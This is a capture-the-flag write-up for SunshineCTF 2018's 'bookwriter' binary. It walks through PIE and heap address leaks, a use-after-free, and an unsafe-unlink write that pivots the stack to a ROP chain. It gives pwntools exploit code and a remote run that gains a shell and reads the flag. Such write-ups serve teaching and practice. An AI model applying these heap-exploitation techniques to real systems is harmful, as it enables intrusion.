sunshine CTF 2018 - bookwriter

I just invented the printing press, but my competitor developed a machine called BookWriter to assist with writing books. His machine allows you to write pages in any order you want, remove pages you don’t want, and then publish the entire book. This new invention will bury my business!

I’d like you to do what you can to destroy his new machine. If you take over control of BookWriter and give me evidence, I’ll give you a reward!

nc chal1.sunshinectf.org 20002

Author: hackucf_kcolley

Attachment: bookwriter bookwriter.c libpwnableharness32.so libc xpl.py

Welcome to BookWriter!

A new, blank book has been created for you.

Page number 1449408224:

COVER

What do you want to do?
1. Flip to the previous page
2. Flip to the next page
3. Insert a new page after this one
4. Remove this page
5. Publish the book
0. Discard changes and quit BookWriter

That page number already looks intriguing, just doing a p/x in gdb on it already shows something interesting, but where does this come from?

Book* Book_create(void) {
    Book* book = malloc(sizeof(*book));
    book->current_page = &g_cover;
    return book;
}
...

bool menu_input(Book* book, char* line, size_t line_size) {
    printf("\nPage number %u:\n\n%s\n", (unsigned)book->current_page, book->current_page->text);
    printf(
        "\n"

So, when the book gets initially created, current_page will point to g_cover (which is an address on bss). Thus, the page number shown in the first menu_input can be used to leak an address to get around pie.

#!/usr/bin/python
from pwn import *
import sys

HOST = "chal1.sunshinectf.org"
PORT = 20002

def exploit(r):
    r.recvuntil("Page number ")
    PIELEAK = int(r.recvuntil(":", drop=True))
    e.address = PIELEAK - 0x26e0
    r.recvuntil(">")

    log.info("PIE leak       : %s" % hex(PIELEAK))
    log.info("PIE            : %s" % hex(e.address))

    r.interactive()

    return

if __name__ == "__main__":
    e = ELF("./bookwriter")
    libc = ELF("./bookwriter-libc.so")

    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process("./bookwriter", env={"LD_PRELOAD":"./bookwriter-libc.so"})
        pause()
        exploit(r)
[*] PIE leak       : 0x565b26e0
[*] PIE            : 0x565b0000

Since book->current_page will always point to the address of the current page, we can also use the page number for leaking heap.

Just create a page, which will get malloced on the heap, and the page number will show its address also.

def insert_page(content):
    r.sendline("3")
    r.recvline()
    r.sendline(content)
    r.sendline("END")

    r.recvuntil("Page number ")
    HEAP = int(r.recvuntil(":", drop=True))

    r.recvuntil("> ")

    return HEAP

...

HEAP = insert_page("A"*(0x40-4))
[*] HEAP leak      : 0x56a9a0b0

Ok, easy leaks out of the way.

The next attack vector is an uaf bug in removing pages:

void BookPage_destroy(BookPage* self) {
    if(!self || self == &g_cover) {
        return;
    }
    
    // Doubly linked list node unlink
    BookPage* prev = self->prev;
    BookPage* next = self->next;
    prev->next = next;
    next->prev = prev;
    
    free(self->text);
    free(self);
}

...
case 4:
    // Remove this page from the book
    BookPage_destroy(book->current_page);
    break;

For one, this looks pretty much like unsafe unlink, so we might abuse this later on. But for now, we can observe, that the current page gets freed, but book->current_page will still point to the freed chunk.

struct BookPage {
    char* text;
    BookPage* prev;
    BookPage* next;
};

A page is a chunk of size 0x10, so we could now just create a new page with content of that size, which will overwrite the page metadata. With this we can control the text pointer and also the prev pointer.

We can use this to leak an arbitrary address.

  • Create two pages
  • Flip to previous page
  • Remove the page
  • Create another page with text pointing to the address we want to leak
  • Since this will create a new page, which is inserted after our currently freed page (whose metadata we just overwrite), flip to previous page again
  • Read the content of the page (text)

Since, we’ll be leaking a lot to get this stuff also working on the remote machine, let’s generalize it

def leak_addr(addr, len=4):
    insert_page("A"*50)
    insert_page("A"*50)
    flip_prev()
    remove_this()

    payload = p32(addr)
    payload += p8(0)

    insert_page(payload)
    flip_prev()

    r.sendline()
    r.recvuntil(":")
    LEAK = u32(r.recvuntil("What", drop=True).split("\n")[2][:len].rjust(4, "\x00"))

    r.recvuntil("> ")   
    return LEAK

Armed with this, we can start leaking some more interesting addresses.

But to know, which values will be useful to us, let’s first think about, how this binary can be exploited at all.

// Doubly linked list node unlink
BookPage* prev = self->prev;
BookPage* next = self->next;
prev->next = next;
next->prev = prev;

From our leak, we know, that we can overwrite page metadata, by adding a new page after removing the current page.

Actually we can control the text and prev pointer for it.

prev->next = next;

Since, we’re controlling prev, we can then write next (pointing to the following page) to an arbitrary address.

_IO_file would be a good target for this, but while this worked with my local libc, it stopped working when using the provided libc, so I trashed my exploit and went another way…

gdb-peda$ x/10i 0x5662bf96
   0x5662bf96 <main+87>:    add    esp,0x20
   0x5662bf99 <main+90>:    lea    esp,[ebp-0x8]
   0x5662bf9c <main+93>:    pop    ecx
   0x5662bf9d <main+94>:    pop    ebx
   0x5662bf9e <main+95>:    pop    ebp
   0x5662bf9f <main+96>:    lea    esp,[ecx-0x4]
   0x5662bfa2 <main+99>:    ret

When you’ll publish the book, it will print out the pages, and return to main.

In main it will pop ecx from the stack, and put esp to ecx-0x4.

So, if we’d be able to overwrite the address, which get’s popped into ecx we could control esp.

prev->next = next;

Right, we can store the stack address into prev (-0x4). unlink would then put the address of the next page there, pivoting the stack onto the heap right into our page. We’ll just have to prepare a ropchain waiting there, giving us a shell.

As it turns out, it’s not that easy to get the correct stack address when ASLR kicks in.

Normally you would just leak __environ and calculate the offset to the stack address, but this didn’t work at all in this challenge (not sure if it was due to pwnableharness). The offset always differs, so no chance.

This took me way longer than expected, but after searching for a stack address anywhere in despair, I opted to leak ld, which contained a proper stack address.

LDLEAK = leak_addr(e.address + 0x25e0)
ECX = leak_addr(LDLEAK - 0x8)
[*] LD LEAK        : 0xf7724904
[*] ECX            : 0xff91453c

This one remained stable even with ASLR, so now we can prepare a fake page on the heap, together with a ropchain and trigger an unlink to overwrite the value for ecx.

log.info("Insert book page with page metadata pointing to ECX (in main ret)")
    
payload1 = p32(HEAP - 0x1050)
payload1 += p32(ECX-0xbc-8)            # Target address to overwrite with chunk
payload1 += p32(HEAP - 0xf90)
payload1 += "\x00"*(0x40-4-len(payload1))

ID1 = insert_page(payload1)
ID2 = insert_page("C"*(0x40-4))
ID3 = insert_page("\x00"*316)
    
log.info("Insert book page with ropchain")

POP4RET = e.address + 0x1008
POPESI = libc.address + 0x00017828
ONE = libc.address + 0x3ac5c
    
payload = "A"*188
payload += p32(POP4RET)
payload += p32(1)
payload += p32(2)
payload += p32(3)
payload += p32(4)
payload += p32(POPESI)
payload += p32(libc.address + 0x1b2000)
payload += p32(ONE)

ID4 = insert_page(payload)

The first page just serves as a fake page (it isn’t referenced anywhere until now), which we can use for unlink later on.

The last page just contains the ropchain, we want to execute later on.

log.info("Remove page and overwrite page metadata pointing to our fake page")
flip_prev()
flip_prev()

remove_this()

payload = p32(ID4)                  # text
payload += p32(HEAP + 0x1ec - 4)    # prev
payload += p16(0)

insert_page(payload)

log.info("Remove fake page to overwrite ECX with pointer to ropchain")

flip_prev()
flip_prev()

remove_this()

And finally we’re using unlink for something useful.

  • Remove the current page
  • Insert another page, overwriting the metadata of the previous page
  • Flip to previous, so we’re in the page again, whose metadata we just overwrote
  • Flip again to previous, to get into our fake page (whose prev is now pointing to the stack).

Now removing this page, will trigger

prev->next = next;

finally writing the address of our ropchain chunk to the address, which will get popped into ecxlater on.

log.info("Publish to trigger shell")
    
publish()

r.interactive()

And there it goes, printing the pages, getting our heap address into ecx, loading it into esp, pivoting the stack on the heap, executing the ropchain.

payload = "A"*188
payload += p32(POP4RET)
payload += p32(1)
payload += p32(2)
payload += p32(3)
payload += p32(4)
payload += p32(POPESI)
payload += p32(libc.address + 0x1b2000)
payload += p32(ONE)

We’ll just have to keep in mind, that the ropchain page also gets malformed by the unlink, putting a stack address in it. Thus the pop4 gadget at the start, to get those out of the way.

esi was also filled with crap, and one_gadget wanted to have it point to rw section of libc, so we’ll just set it manually and call one_gadget.

I had to fix up some heap addresses when going remote, since addresses seemed to be off, but we can reuse the leak_addr function for finding our payloads on heap again.

And finally, after all addresses were fixed up:

python xpl.py 1
[*] '/vagrant/Challenges/sunshine/pwn/bookwriter/bookwriter'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RPATH:    '/usr/local/lib:$ORIGIN'
[*] '/vagrant/Challenges/sunshine/pwn/bookwriter/bookwriter-libc.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chal1.sunshinectf.org on port 20002: Done
[*] PIE leak       : 0x566456e0
[*] PIE            : 0x56643000
[*] HEAP leak      : 0x567300c8
[*] LIBC leak      : 0xf764c670
[*] LIBC           : 0xf7603000
[*] ENVIRON        : 0x5672f008
[*] LD LEAK        : 0xf77ea904
[*] ECX            : 0xffc2961c
[*] ONE            : 0xf763dc5c
[*] Insert book page with page metadata pointing to ECX (in main ret)
[*] Insert book page with ropchain
[*] Remove page and overwrite page metadata pointing to our fake page
[*] Remove fake page to overwrite ECX with pointer to ropchain
[*] Paused (press any to continue)
[*] Publish to trigger shell
[*] Switching to interactive mode
Page 1449416416:

COVER


Page 1450377416:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



Page 1450377560:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA



$ ls
bookwriter
flag.txt
$ cat flag.txt
sun{pl34s3_st0p_t34r1ng_p4g3s_0ut_0f_th3_b00k!}